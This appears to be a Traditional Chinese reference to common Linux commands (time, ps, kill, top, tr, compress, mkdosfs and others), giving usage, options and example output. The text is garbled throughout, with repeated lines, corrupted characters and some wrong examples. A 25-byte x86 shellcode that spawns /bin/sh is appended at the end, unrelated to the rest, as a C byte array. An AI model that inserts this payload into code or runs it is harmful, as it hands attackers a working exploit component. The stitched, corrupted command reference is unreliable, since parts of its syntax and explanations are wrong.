F此程序的主要記憶體頁錯誤發生次數。所謂的主要記憶體頁錯誤是指某一記憶
體頁已經置換到置換檔(swap file)中,而且已經分配給其他程序。此時該頁的
內容必須從置換檔裡再讀出來。
R此程序的次要記憶體頁錯誤發生次數。所謂的次要記憶體頁錯誤是指某一記憶
體頁雖然已經置換到置換檔中,但尚未分配給其他程序。此時該頁的內容並未被
破壞,不必從置換檔裡讀出來
破壞,不必從置換檔裡讀出來
W此程序被交換到置換檔的次數
c此程序被強迫中斷(像是分配到的CPU時間耗盡)的次數
w此程序自願中斷(像是在等待某一個I/O執行完畢,像是磁碟讀取等等)的次
數
I此程序所輸入的檔案數
O此程序所輸出的檔案數
r此程序所收到的Socket Message
s此程序所送出的Socket Message
k此程序所收到的信號( Signal )數量
Command Info
C執行時的參數以及指令名稱
x指令的結束代碼( Exit Status )
-p or –portability
這個選項會自動把顯示格式設定成為:
real %e
user %U
sys %S
這麼做的目的是為了與POSIX規格相容。
-v or –verbose
這個選項會把所有程式中用到的資源通通列出來,不但如一般英文語句,還有說
明。對不想花時間去熟習格式設定或是剛剛開始接觸這個指令的人相當有用。
範例:
範例:
利用下面的指令
time -v ps -aux
我們可以獲得執行ps -aux的結果和所花費的系統資源。如下面所列的資料:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.4 1096 472 ? S Apr19 0:04 init
root 2 0.0 0.0 0 0 ? SW Apr19 0:00 [kflushd]
root 3 0.0 0.0 0 0 ? SW Apr19 0:00 [kpiod]
……
root 24269 0.0 1.0 2692 996 pts/3 R 12:16 0:00 ps -aux
Command being timed: “ps -aux”
User time (seconds): 0.05
System time (seconds): 0.06
Percent of CPU this job got: 68%
Elapsed (wall clock) time (h:mm:ss or m:ss): 0:00.16
Average shared text size (kbytes): 0
Average unshared data size (kbytes): 0
Average stack size (kbytes): 0
Average total size (kbytes): 0
Maximum resident set size (kbytes): 0
Average resident set size (kbytes): 0
Major (requiring I/O) page faults: 238
Minor (reclaiming a frame) page faults: 46
Minor (reclaiming a frame) page faults: 46
Voluntary context switches: 0
Involuntary context switches: 0
Swaps: 0
File system inputs: 0
File system outputs: 0
Socket messages sent: 0
Socket messages received: 0
Signals delivered: 0
Page size (bytes): 4096
Exit status: 0
名稱: uptime
使用權限:所有使用者
使用方式: uptime [-V]
說明: uptime提供使用者下面的資訊,不需其他參數:
現在的時間
系統開機運轉到現在經過的時間
連線的使用者數量
最近一分鐘,五分鐘和十五分鐘的系統負載
參數: -V顯示版本資訊。
範例: uptime
其結果為:
10:41am up 5 days, 10 min, 1 users, load average: 0.00, 0.00, 1.99
10:41am up 5 days, 10 min, 1 users, load average: 0.00, 0.00, 1.99
名稱:chfn
使用權限:所有使用者
用法:shell>> chfn
說明:提供使用者更改個人資訊,用於finger and mail username
範例:
shell>> chfn
Changing finger information for user
Password: [del]
Name[]:Johnney Huang ###提供finger時的資料
Office[]:NCCU
Office Phone[]: [del]
Home Phone[]: [del]
名稱:chsh
使用權限:所有使用者
用法:shell>> chsh
說明:更改使用者shell設定
範例:
shell>> chsh
Changing fihanging shell for user1
Password: [del]
New shell [/bin/tcsh]: ### [是目前使用的shell]
[del]
[del]
shell>> chsh -l ###展示/etc/shells檔案內容
/bin/bash
/bin/sh
/bin/ash
/bin/bsh
/bin/tcsh
/bin/csh
名稱: finger
使用權限:所有使用者
使用方式: finger [options] user[@address]
說明:finger可以讓使用者查詢一些其他使用者的資料。會列出來的資料有:
Login Name
User Name
Home directory
Shell
Login status
mail status
.plan
.project
.forward
其中.plan ,.project和.forward就是使用者在他的Home Directory裡的
其中.plan ,.project和.forward就是使用者在他的Home Directory裡的
.plan , .project和.forward等檔案裡的資料。如果沒有就沒有。 finger指
令並不限定於在同一伺服器上查詢,也可以尋找某一個遠端伺服器上的使用者。
只要給一個像是E-mail address一般的地址即可。
把計
-l
多行顯示。
-s
單行顯示。這個選項只顯示登入名稱,真實姓名,終端機名稱,閒置時間,登入
時間,辦公室號碼及電話號碼。如果所查詢的使用者是遠端伺服器的使用者,這
個選項無效。
範例:下列指令可以查詢本機管理員的資料:
finger root
其結果如下:
Login: root Name: root
Directory: /root Shell: /bin/bash
Never logged in.
No mail.
No Plan.
名稱:last
使用權限:所有使用者
使用方式:shell>> last [options]
說明:顯示系統開機以來獲是從每月初登入者的訊息
說明:顯示系統開機以來獲是從每月初登入者的訊息
把計
-R省略hostname的欄位
-num展示前num個
username展示username的登入訊息
tty限制登入訊息包含終端機代號
範例:
shell>> last -R -2
johnney pts/1 Mon Aug 14 20:42 still logged in
johnney pts/0 Mon Aug 14 19:59 still logged in
wtmp begins Tue Aug 1 09:01:10 2000 ### /var/log/wtmp
shell>> last -2 minery
minery pts/0 140.119.217.115 Mon Aug 14 18:37 – 18:40 (00:03)
minery pts/0 140.119.217.115 Mon Aug 14 17:22 – 17:24 (00:02)
wtmp begins Tue Aug 1 09:01:10 2000
名稱:login
這個命令都不會就不要幹算了!呵呵我也不在這裡多費筆墨耽誤大家美好青春了^_^
名稱:passwd
使用權限:所有使用者
使用方式:passwd [-k] [-l] [-u [-f]] [-d] [-S] [username]
說明:用來更改使用者的密碼
參數:
參數:
-k
-l
-u
-f
-d關閉使用者的密碼認證功能,使用者在登入時將可以不用輸入密碼,只有具備
root權限的使用者方可使用.
-S顯示指定使用者的密碼認證種類,只有具備root權限的使用者方可使用.
[username]指定帳號名稱.
名稱: who
使用權線:所有使用者都可使用
使用方式: who – [husfV] [user]
說明:顯示系統中有那些使用者正在上面,顯示的資料包含了使用者ID,使用
的終端機,從那邊連上來的,上線時間,呆滯時間,CPU使用量,動作等等。
把計:
-h :不要顯示標題列
-u :不要顯示使用者的動作/工作
-s :使用簡短的格式來顯示
-f :不要顯示使用者的上線位置
-V :顯示程式版本
名稱:/etc/aliases
使用權限:系統管理者
使用方式:請用newaliases更新資料庫
說明:
sendmail會使用一個在/etc/aliases中的檔案做使用者名稱轉換的動作。當
sendmail收到一個要送給xxx的信時,它會依據aliases檔的內容送給另一個
使用者。這個功能可以創造一個只有在信件系統內才有效的使用者。例如
mailing list就會用到這個功能,在mailinglist中,我們可能會創造一個叫
redlinux@link.ece.uci.edu的mailinglist,但實際上並沒有一個叫
redlinux的使用者。實際aliases檔的內容是將送給這個使用者的信都收給
mailing list處理程式負責分送的工作。
/etc/aliases是一個文字模式的檔案,sendmail需要一個二進位格式的
/etc/aliases.db。 newaliases的功能傳是將/etc/aliases轉換成一個
sendmail所能了解的資料庫。範例:
# newaliases
下面命令會做相同的事,
# sendmail -bi
相關命令:
mail, mailq, newaliases, sendmail
名稱:mail
使用權限:所有使用者
使用方式:mail [-iInv] [-s subject] [-c cc-addr] [-b bcc-addr] user1
[user 2 …]
說明:
說明:
mail不僅只是一個指令, mail還是一個電子郵件程式,不過利用mail來讀信
的人應該很少吧!對於系統管理者來說mail就很有用,因為管理者可以用
mail寫成script ,定期寄一些備忘錄提醒系統的使用者。
參數:
i忽略tty的中斷訊號。 (interrupt)
I強迫設成互動模式。 (Interactive)
v列印出訊息,例如送信的地點、狀態等等。 (verbose)
n不讀入mail.rc設定檔。
s郵件標題。
c cc郵件地址。
b bcc郵件地址。
範例:
將信件送給一個或以上的電子郵件地址,由於沒有加入其他的選項,使用者必須
輸入標題與信件的內容等。而user2沒有主機位置,就會送給郵件伺服器的
user2使用者。
mail user1@email.address
mail user1@email.address user2
將mail.txt的內容寄給user2同時cc給user1 。如果將這一行指令設成
cronjob就可以定時將備忘錄寄給系統使用者。
mail -s標題-c user1 user2 < mail.txt
指令:mesg
使用權限:所有使用者
使用權限:所有使用者
使用方式: mesg [y|n]
說明:決定是否允許其他人傳訊息到自己的終端機介面
把計
y :允許訊息傳到終端機介面上。
n :不允許訊息傳到終端機介面上。
如果沒有設定,則訊息傳遞與否則由終端機界面目前狀態而定。
例子:
改變目前訊息設定,改成不允許訊息傳到終端機介面上:
mesg n
與mesg相關的指令有: talk,write,wall。
名稱: talk
使用權限:所有使用者
使用方式:
talk person [ttyname]
說明:與其他使用者對談
把計:
person :預備對談的使用者帳號,如果該使用者在其他機器上,則可輸入
person@machine.name
ttyname :如果使用者同時有兩個以上的tty連線,可以自行選擇合適的tty
傳訊息
例子.1 :
與現在機器上的使用者Rollaend對談,此時Rollaend只有一個連線:
talk Rollaend
接下來就是等Rollaend回應,若Rollaend接受,則Rollaend輸入`talk jzlee`即
接下來就是等Rollaend回應,若Rollaend接受,則Rollaend輸入`talk jzlee`即
可開始對談,結束請按ctrl+c
例子.2 :與linuxfab.cx上的使用者Rollaend對談,使用pts/2來對談:
talk Rollaend@linuxfab.cx pts/2
接下來就是等Rollaend回應,若Rollaend接受,則Rollaend輸入`talk
jzlee@jzlee.home`即可開始對談,結束請按ctrl+c
注意:若螢幕的字會出現不正常的字元,試著按ctrl+l更新螢幕畫面。
名稱: wall
使用權限:所有使用者
使用方式:
wall [ message ]
使用說明:
wall會將訊息傳給每一個mesg設定為yes的上線使用者。當使用終端機介面
做為標準傳入時,訊息結束時需加上EOF (通常用Ctrl+D)
例子:
傳訊息”hi”給每一個使用者:
wall hi
名稱: write
使用權限:所有使用者
使用方式:
write user [ttyname]
說明:傳訊息給其他使用者
把計:
把計:
user :預備傳訊息的使用者帳號
ttyname :如果使用者同時有兩個以上的tty連線,可以自行選擇合適的tty
傳訊息
例子.1 :
傳訊息給Rollaend,此時Rollaend只有一個連線:
write Rollaend
接下來就是將訊息打上去,結束請按ctrl+c
例子.2 :傳訊息給Rollaend,Rollaend的連線有pts/2,pts/3 :
write Rollaend pts/2
接下來就是將訊息打上去,結束請按ctrl+c
注意:若對方設定mesg n,則此時訊席將無法傳給對方
名稱:kill
使用權限:所有使用者
使用方式:
kill [ -s signal | -p ] [ -a ] pid …
kill -l [ signal ]
說明:kill送出一個特定的信號(signal)給行程id為pid的行程根據該信
號而做特定的動作,若沒有指定,預設是送出終止(TERM)的信號
把計
-s (signal) :其中可用的訊號有HUP (1), KILL (9), TERM (15),分別代表著
重跑,砍掉,結束;詳細的信號可以用kill -l
-p :印出pid ,並不送出信號
-p :印出pid ,並不送出信號
-l (signal) :列出所有可用的信號名稱
範例:
將pid為323的行程砍掉(kill) :
kill -9 323
將pid為456的行程重跑(restart) :
kill -HUP 456
名稱:nice
使用權限:所有使用者
使用方式:nice [-n adjustment] [-adjustment] [–adjustment=adjustment]
[–help] [–version] [command [arg…]]
說明:以更改過的優先序來執行程式,如果未指定程式,則會印出目前的排程優
先序,內定的adjustment為10,範圍為-20 (最高優先序)到19 (最低優先
序)
把計
-n adjustment, -adjustment, –adjustment=adjustment皆為將該原有優先序
的增加adjustment
–help顯示求助訊息
–version顯示版本資訊
範例:
將ls的優先序加1並執行:
nice -n 1 ls
將ls的優先序加10並執行:
將ls的優先序加10並執行:
nice ls將ls的優先序加10並執行
注意:優先序(priority)為作業系統用來決定CPU分配的參數,Linux使用
『回合製(round-robin)』的演算法來做CPU排程,優先序越高,所可能獲得的
CPU時間就越多。
名稱:ps
使用權限:所有使用者
使用方式:ps [options] [–help]
說明:顯示瞬間行程(process)的動態
參數:
ps的參數非常多,在此僅列出幾個常用的參數並大略介紹含義
-A列出所有的行程
-w顯示加寬可以顯示較多的資訊
-au顯示較詳細的資訊
-aux顯示所有包含其他使用者的行程
au(x)輸出格式:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
USER:行程擁有者
PID: pid
%CPU:佔用的CPU使用率
%MEM:佔用的記憶體使用率
VSZ:佔用的虛擬記憶體大小
RSS:佔用的記憶體大小
RSS:佔用的記憶體大小
TTY:終端的次要裝置號碼(minor device number of tty)
STAT:該行程的狀態:
D:不可中斷的靜止(通悸□□縝b進行I/O動作)
R:正在執行中
S:靜止狀態
T:暫停執行
Z:不存在但暫時無法消除
W:沒有足夠的記憶體分頁可分配
N:低優先序的行程
L:有記憶體分頁分配並鎖在記憶體內(即時系統或捱AI/O)
START:行程開始時間
TIME:執行的時間
COMMAND:所執行的指令
範例:
ps
PID TTY TIME CMD
2791 ttyp0 00:00:00 tcsh
3092 ttyp0 00:00:00 ps
% ps -A
PID TTY TIME CMD
1 ? 00:00:03 init
2 ? 00:00:00 kflushd
2 ? 00:00:00 kflushd
3 ? 00:00:00 kpiod
4 ? 00:00:00 kswapd
5 ? 00:00:00 mdrecoveryd
…….
% ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.7 1096 472 ? S Sep10 0:03 init [3]
root 2 0.0 0.0 0 0 ? SW Sep10 0:00 [kflushd]
root 3 0.0 0.0 0 0 ? SW Sep10 0:00 [kpiod]
root 4 0.0 0.0 0 0 ? SW Sep10 0:00 [kswapd]
……..
名稱:pstree
使用權限:所有使用者
使用方式:
pstree [-a] [-c] [-h|-Hpid] [-l] [-n] [-p] [-u] [-G|-U] [pid|user]
pstree -V
說明:將所有行程以樹狀圖顯示,樹狀圖將會以pid (如果有指定)或是以
init這個基本行程為根(root) ,如果有指定使用者id ,則樹狀圖會只顯示該
使用者所擁有的行程
參數:
-a顯示該行程的完整指令及參數,如果是被記憶體置換出去的行程則會加上括號
-c如果有重覆的行程名,則分開列出(預設值是會在前面加上*
-c如果有重覆的行程名,則分開列出(預設值是會在前面加上*
範例:
pstree
init-+-amd
|-apmd
|-atd
|-httpd—10*[httpd]
%pstree -p
init(1)-+-amd(447)
|-apmd(105)
|-atd(339)
%pstree -c
init-+-amd
|-apmd
|-atd
|-httpd-+-httpd
| |-httpd
| |-httpd
| |-httpd
….
名稱:renice
使用權限:所有使用者
使用方式:renice priority [[-p] pid …] [[-g] pgrp …] [[-u] user
使用方式:renice priority [[-p] pid …] [[-g] pgrp …] [[-u] user
…]
說明:重新指定一個或多個行程(Process)的優先序(一個或多個將根據所下的參
數而定)
把計
-p pid重新指定行程的id為pid的行程的優先序
-g pgrp重新指定行程群組(process group)的id為pgrp的行程(一個或多
個)的優先序
-u user重新指定行程擁有者為user的行程的優先序
範例:
將行程id為987及32的行程與行程擁有者為daemon及root的優先序號碼
加1 :
renice +1 987 -u daemon root -p 32
注意:每一個行程(Process)都有一個唯一的(unique) id
名稱:top
使用權限:所有使用者
使用方式:top [-] [d delay] [q] [c] [S] [s] [i] [n]
說明:即時顯示process的動態
把計
d :改變顯示的更新速度,或是在交談式指令列( interactive command)按s
q :沒有任何延遲的顯示速度,如果使用者是有superuser的權限,則top將
會以最高的優先序執行
c :切換顯示模式,共有兩種模式,一是只顯示執行檔的名稱,另一種是顯示完
c :切換顯示模式,共有兩種模式,一是只顯示執行檔的名稱,另一種是顯示完
整的路徑與名稱S :累積模式,會將己完成或消失的子行程( dead child
process )的CPU time累積起來
s :安全模式,將交談式指令取消,避免潛在的危機
i :不顯示任何閒置(idle)或無用(zombie)的行程
n :更新的次數,完成後將會退出top
b :批次檔模式,搭配”n”參數一起使用,可以用來將top的結果輸出到檔案
內
範例:
顯示更新十次後退出;
top -n 10
使用者將不能利用交談式指令來對行程下命令:
top -s
將更新顯示二次的結果輸入到名稱為top.log的檔案裡:
top -n 2 -b < top.log
名稱:skill
使用權限:所有使用者
使用方式: skill [signal to send] [options]選擇程序的規則
說明:
送個訊號給正在執行的程序,預設的訊息為TERM (中斷) ,較常使用的訊息為
HUP , INT , KILL , STOP , CONT ,和0
訊息有三種寫法:分別為-9 , -SIGKILL , -KILL ,可以使用-l或-L已列出
可使用的訊息。
可使用的訊息。
一般參數:
-f快速模式/尚未完成
-i互動模式/每個動作將要被確認
-v詳細輸出/列出所選擇程序的資訊
-w智能警告訊息/尚未完成
-n沒有動作/顯示程序代號
參數:選擇程序的規則可以是,終端機代號,使用者名稱,程序代號,命令名稱。
-t終端機代號( tty或pty )
-u使用者名稱
-p程序代號( pid )
-c命令名稱可使用的訊號:
以下列出已知的訊號名稱,訊號代號,功能。
名稱(代號)功能/描述
ALRM 14離開
HUP 1離開
INT 2離開
KILL 9離開/強迫關閉
PIPE 13離開
POLL離開
PROF離開
TERM 15離開
USR1離開
USR1離開
USR2離開
VTALRM離開
STKFLT離開/只適用於i386, m68k, arm和ppc硬體
UNUSED離開/只適用於i386, m68k, arm和ppc硬體
TSTP停止/產生與內容相關的行為
TTIN停止/產生與內容相關的行為
TTOU停止/產生與內容相關的行為
STOP停止/強迫關閉
CONT從新啟動/如果在停止狀態則從新啟動,否則忽略
PWR忽略/在某些系統中會離開
WINCH忽略
CHLD忽略
ABRT 6核心
FPE 8核心
ILL 4核心
QUIT 3核心
SEGV 11核心
TRAP 5核心
SYS核心/或許尚未實作
EMT核心/或許尚未實作
BUS核心/核心失敗
XCPU核心/核心失敗
XCPU核心/核心失敗
XFSZ核心/核心失敗
範例:
停止所有在PTY裝置上的程序
skill -KILL -v pts/*
停止三個使用者user1 , user2 , user3
skill -STOP user1 user2 user3
其他相關的命令: kill
名稱:expr
使用權限:所有使用者
###字串長度
shell>> expr length “this is a test”
14
###數字商數
shell>> expr 14 % 9
5
###從位置處抓取字串
shell>> expr substr “this is a test” 3 5
is is
###數字串only the first character
shell>> expr index “testforthegame” e
2
###字串真實重現
###字串真實重現
shell>> expr quote thisisatestformela
thisisatestformela
名稱: tr
### 1.比方說要把目錄下所有的大寫檔名換為小寫檔名?
似乎有很多方式,”tr”是其中一種:
#!/bin/sh
dir=”/tmp/testdir”;
files=`find $dir -type f`;
for i in $files
do
dir_name=`dirname $i`;
ori_filename=`basename $i`
new_filename=`echo $ori_filename | tr [:upper:] [:lower:]` >
/dev/null;
#echo $new_filename;
mv $dir_name/$ori_filename $dir_name/$new_filename
done
### 2.自己試驗中…lowercase to uppercase
tr abcdef…[del] ABCDE…[del]
tr a-z A-Z
tr [:lower:] [:upper:]
shell>> echo “this is a test” | tr az AZ > www
shell>> echo “this is a test” | tr az AZ > www
shell>> cat www
THIS IS A TEST
### 3.去掉不想要的字串
shell>> tr -d this ###去掉有關t.e.s.t
this
man
man
test
e
### 4.取代字串
shell>> tr -s “this” “TEST”
this
TEST
th
TE
指令:clear
用途:清除螢幕用。
使用方法:在console上輸入clear。
名稱: reset, tset
使用方法: tset [-IQqrs] [-] [-e ch] [-i ch] [-k ch] [-m mapping]
[terminal]
使用說明:
使用說明:
reset其實和tset是一同個命令,它的用途是設定終端機的狀態。一般而言,
這個命令會自動的從環境變數、命令列或是其它的組態檔決定目前終端機的型態
。如果指定型態是?的話,這個程式會要求使用者輸入終端機的型別。
由於這個程式會將終端機設回原始的狀態,除了在login時使用外,當系統終端
機因為程式不正常執行而進入一些奇怪的狀態時,你也可以用它來重設終端機o
例如不小心把二進位檔用cat指令進到終端機,常會有終端機不再回應鍵盤輸入
,或是回應一些奇怪字元的問題。此時就可以用reset將終端機回復至原始狀態
。選項說明:
-p
將終端機類別顯示在螢幕上,但不做設定的動作。這個命令可以用來取得目前終
端機的類別。
-e ch
將erase字元設成ch
-i ch
將中斷字元設成ch
-k ch
將刪除一行的字元設成ch
-I
不要做設定的動作,如果沒有使用選項-Q的話,erase、中斷及刪除字元的目前
值依然會送到螢幕上。
-Q
不要顯示erase、中斷及刪除字元的值到螢幕上。
不要顯示erase、中斷及刪除字元的值到螢幕上。
-r
將終端機類別印在螢幕上。
-s
將設定TERM用的命令用字串的型式送到終端機中,通常在.login或
.profile中用
範例:
讓使用者輸入一個終端機型別並將終端機設到該型別的預設狀態。
# reset ?
將erase字元設定control-h
# reset -e ^B
將設定用的字串顯示在螢幕上
# reset -s
Erase is control-B (^B).
Kill is control-U (^U).
Interrupt is control-C (^C).
TERM=xterm;
名稱:compress
使用權限:所有使用者
使用方式:compress [-dfvcV] [-b maxbits] [file …]
說明:
compress是一個相當古老的unix檔案壓縮指令,壓縮後的檔案會加上一個.Z
延伸檔名以區別未壓縮的檔案,壓縮後的檔案可以以uncompress解壓。若要將
延伸檔名以區別未壓縮的檔案,壓縮後的檔案可以以uncompress解壓。若要將
數個檔案壓成一個壓縮檔,必須先將檔案tar起來再壓縮。由於gzip可以產生
更理想的壓縮比例,一般人多已改用gzip為檔案壓縮工具。
參數:
c輸出結果至標準輸出設備(一般指熒幕)
f強迫寫入檔案,若目的檔已經存在,則會被覆蓋(force)
v將程式執行的訊息印在熒幕上(verbose)
b設定共同字串數的上限,以位元計算,可以設定的值為9至16 bits 。由於
值越大,能使用的共同字串就越多,壓縮比例就越大,所以一般使用預設值16
bits (bits)
d將壓縮檔解壓縮
V列出版本訊息
範例:
將source.dat壓縮成source.dat.Z ,若source.dat.Z已經存在,內容則會
被壓縮檔覆蓋。
compress -f source.dat
將source.dat壓縮成source.dat.Z ,並列印出壓縮比例。
-v與-f可以一起使用
compress -vf source.dat
將壓縮後的資料輸出後再導入target.dat.Z可以改變壓縮檔名。
compress -c source.dat > target.dat.Z
-b的值越大,壓縮比例就越大,範圍是9-16 ,預設值是16 。
compress -b 12 source.dat
compress -b 12 source.dat
將source.dat.Z解壓成source.dat ,若檔案已經存在,使用者按y以確定覆
蓋檔案,若使用-df程式則會自動覆蓋檔案。由於系統會自動加入.Z為延伸檔
名,所以source.dat會自動當作source.dat.Z處理。
compress -d source.dat
compress -d source.dat.Z
名稱: lpd
使用權限:所有使用者
使用方式:lpd [-l] [#port]
lpd是一個常駐的印表機管理程式,它會根據/etc/printcap的內容來管理本地
或遠端的印表機。 /etc/printcap中定義的每一個印表機必須在/var/lpd中有
一個相對應的目錄,目錄中以cf開頭的檔案表示一個等待送到適當裝置的印表
工作。這個檔案通常是由lpr所產生。
lpr和lpd組成了一個可以離線工作的系統,當你使用lpr時,印表機不需要
能立即可用,甚至不用存在。 lpd會自動監視印表機的狀況,當印表機上線後,
便立即將檔案送交處理。這個得所有的應用程式不必等待印表機完成前一工作。
參數:
-l:將一些除錯訊息顯示在標準輸出上。
#port:一般而言,lpd會使用getservbyname取得適當的TCP/IP port,你可
以使用這個參數強迫lpd使用指定的port。
範例:
這個程式通常是由/etc/rc.d中的程式在系統啟始階段執行。
名稱lpq
–顯示列表機貯列中未完成的工作用法
lpq [l] [P] [user]
說明
lpq會顯示由lpd所管理的列表機貯列中未完成的項目。
範例
範例1.顯示所有在lp列表機貯列中的工作
# lpq -PlpRank Owner Job Files Total Size1st root 238 (standard input)
1428646 bytes
相關函數
lpr,lpc,lpd
名稱: lpr
使用權限:所有使用者
使用方式:lpr [ -P printer ]
將檔案或是由標準輸入送進來的資料送到印表機貯列之中,印表機管理程式lpd
會在稍後將這個檔案送給適當的程式或裝置處理。 lpr可以用來將料資送給本地
或是遠端的主機來處理。
參數:
-p Printer:將資料送至指定的印表機Printer,預設值為lp。
範例:
將www.c和kkk.c送到印表機lp。
lpr -Plp www.c kkk.c
名稱: lprm
名稱: lprm
–將一個工作由印表機貯列中移除用法
/usr/bin/lprm [P] [file…]
說明
尚未完成的印表機工作會被放在印表機貯列之中,這個命令可用來將常未送到印
表機的工作取消。由於每一個印表機都有一個獨立的貯列,你可以用-P這個命
令設定想要作用的印列機。如果沒有設定的話,會使用系統預設的印表機。
這個命令會檢查使用者是否有足夠的權限刪除指定的檔案,一般而言,只有檔案
的擁有者或是系統管理員才有這個權限。
範例
將印表機hpprinter中的第1123號工作移除
lprm -Phpprinter 1123
將第1011號工作由預設印表機中移除
lprm 1011
名稱: fdformat
使用權限:所有使用者
使用方式:fdformat [-n] device
使用說明:
對指定的軟碟機裝置進行低階格式化。使用這個指令對軟碟格式化的時候,最好
指定像是下面的裝置:
/dev/fd0d360磁碟機A: ,磁片為360KB磁碟
/dev/fd0h1440磁碟機A: ,磁片為1.4MB磁碟
/dev/fd1h1200磁碟機B: ,磁片為1.2MB磁碟
/dev/fd1h1200磁碟機B: ,磁片為1.2MB磁碟
如果使用像是/dev/fd0之類的裝置,如果裡面的磁碟不是標準容量,格式化可
能會失敗。在這種情況之下,使用者可以用setfdprm指令先行指定必要參數。
參數:
-n關閉確認功能。這個選項會關閉格式化之後的確認步驟。
範例:
fdformat -n /dev/fd0h1440
將磁碟機A的磁片格式化成1.4MB的磁片。並且省略確認的步驟。
名稱: mformat
使用權限:所有使用者
使用方式:
mformat [-t cylinders] [-h heads] [-s sectors] [-l volume_label] [-F]
[-I fsVer-sion] [-S sizecode] [-2 sectors_on_track_0] [-M
software_sector_size] [-a] [-X] [-C] [-H hidden_sectors] [-r
root_sectors] [-B boot_sector] [-0 rate_on_track_0] [-A
rate_on_other_tracks] [-1] [-k] drive:
在已經做過低階格式化的磁片上建立DOS檔案系統。如果在編譯mtools的時候
把USE_2M的參數打開,部分與2M格式相關的參數就會發生作用。否則這些參
數(像是S,2,1,M)不會發生作用。
參數:
-t磁柱(synlider)數
-h磁頭(head)數
-s每一磁軌的磁區數
-s每一磁軌的磁區數
-l標籤
-F將磁碟格式化為FAT32格式,不過這個參數還在實驗中。
-I設定FAT32中的版本號。這當然也還在實驗中。
-S磁區大小代碼,計算方式為sector = 2^(大小代碼+7)
-c磁叢(cluster)的磁區數。如果所給定的數字會導致磁叢數超過FAT表的限
制,mformat會自動放大磁區數。
-s
-M軟體磁區大小。這個數字就是系統回報的磁區大小。通常是和實際的大小相同
。
-a如果加上這個參數,mformat會產生一組Atari系統的序號給這塊軟碟。
-X將軟碟格式化成XDF格式。使用前必須先用xdfcopy指令對軟碟作低階格式
化的動作。
-C產生一個可以安裝MS-DOS檔案系統的磁碟影像檔(disk image)。當然對一
個實體磁碟機下這個參數是沒有意義的。
-H隱藏磁區的數目。這通常適用在格式化硬碟的分割區時,因為通常一個分割區
的前面還有分割表。這個參數未經測試,能不用就不用。
-n磁碟序號
-r根目錄的大小,單位是磁區數。這個參數只對FAT12和FAT16有效。
-B使用所指定的檔案或是設備的開機磁區做為這片磁片或分割區的開機磁區。當
然當中的硬體參數會隨之更動。
-k盡量保持原有的開機磁區。
-0第0軌的資料傳輸率
-0第0軌的資料傳輸率
-A第0軌以外的資料傳輸率
-2使用2m格式
-1不使用2m格式
範例:
mformat a:
這樣會用預設值把a: (就是/dev/fd0)裡的磁碟片格式化。
s名稱: mkdosfs
使用權限:所有使用者
使用方式: mkdosfs [ -c | -l filename ]
[ -f number_of_FATs ]
[ -F FAT_size ]
[ -i volume_id ]
[ -m message_file ]
[ -n volume_name ]
[ -r root_dir_entry ]
[ -s sector_per_cluster ]
[ -v ]
device
[ block_count ]
說明:建立DOS檔案系統。 device指你想要建立DOS檔案系統的裝置代號。
像是/dev/hda1等等。 block_count則是你希望配置的區塊數。如果
block_count沒有指定則係統會自動替你計算符合該裝置大小的區塊數。
block_count沒有指定則係統會自動替你計算符合該裝置大小的區塊數。
參數:
-c建立檔案系統之前先檢查是否有壞軌。
-l從得定的檔案中讀取壞軌記錄。
-f指定檔案配置表(FAT , File Allocation Table)的數量。預設值為2 。目
前Linux的FAT檔案系統不支援超過2個FAT表。通常這個不需要改。
-F指定FAT表的大小,通常是12或是16個位元組。 12位元組通常用於磁碟
片,16位元組用於一般硬碟的分割區,也就是所謂的FAT16格式。這個值通常
系統會自己選定適當的值。在磁碟片上用FAT16通常不會發生作用,反之在硬碟
上用FAT12亦然。
-i指定Volume ID。一般是一個4個位元組的數字,像是2e203a47 。如果不
給系統會自己產生。
-m當使用者試圖用這片磁片或是分割區開機,而上面沒有作業系統時,系統會給
使用者一段警告訊息。這個參數就是用來變更這個訊息的。你可以先用檔案編輯
好,然後用這個參數指定,或是用
-m –
這樣系統會要求你直接輸入這段文字。要特別注意的是,檔案裡的字串長度不要
超過418個字,包括展開的跳欄符號(TAB)和換行符號(換行符號在DOS底下
算兩個字元! )
-n指定Volume Name,就是磁碟標籤。如同在DOS底下的format指令一樣,
給不給都可以。沒有預設值。
-r指定根目錄底下的最大檔案數。這裡所謂的檔案數包括目錄。預設值是在軟碟
上是112或是224 ,在硬碟上是512。沒事不要改這個數字。
好,然後用這個參數指定,或是用
-s每一個磁叢(cluster)的磁區數。必須是2的次方數。不過除非你知道你在
作什麼,這個值不要亂給。
-v提供額外的訊息
範例:
mkdosfs -n Tester /dev/fd0將A槽裡的磁碟片格式化為DOS格式,並將標籤
設為Tester
/* linux/x86 25-byte execve() /bin/sh shellcode. */
u_char c0de[] = /* Seal@patching.net */
“\x29\xC0″/* subl%eax, %eax*/
“\x50″/* pushl %eax*/
“\x68\x2F\x2F\x73\x68″/* pushl $0x68732f2f */
“\x68\x2F\x62\x69\x6E”/* pushl $0x6e69622f */
“\x89\xE3″/* movl%esp, %ebx*/
“\x50″/* pushl %eax*/
“\x89\xE2″/* movl%esp, %edx*/
“\x54″/* pushl %esp*/
“\x89\xE1″/* movl%esp, %ecx*/
“\xB0\x0B”/* movb$0x0b, %al*/
“\xCD\x80”; /* int $0x80 */